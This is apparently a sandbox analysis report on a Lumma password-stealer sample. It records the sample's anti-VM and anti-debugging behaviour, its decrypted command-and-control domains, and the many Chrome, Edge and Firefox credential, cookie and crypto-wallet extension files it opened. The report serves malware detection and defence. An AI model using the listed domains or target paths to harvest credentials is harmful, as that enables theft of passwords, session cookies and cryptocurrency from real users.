Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092772961.0000000003CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_00410D90 LdrInitializeThunk,

0_2_00410D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: servicedny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: authorisev.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: faulteyotk.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: dilemmadu.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: contemteny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: goalyfeastz.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: opposezmny.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: seallysl.site
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: ponintnykqwm.shop

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_004E0268 cpuid

0_2_004E0268

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,GetLocaleInfoA,

0_2_00592208

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_00481CC0 GetTimeZoneInformation,

0_2_00481CC0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2125744394.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2125744394.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2125791042.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2125744394.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2125744394.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
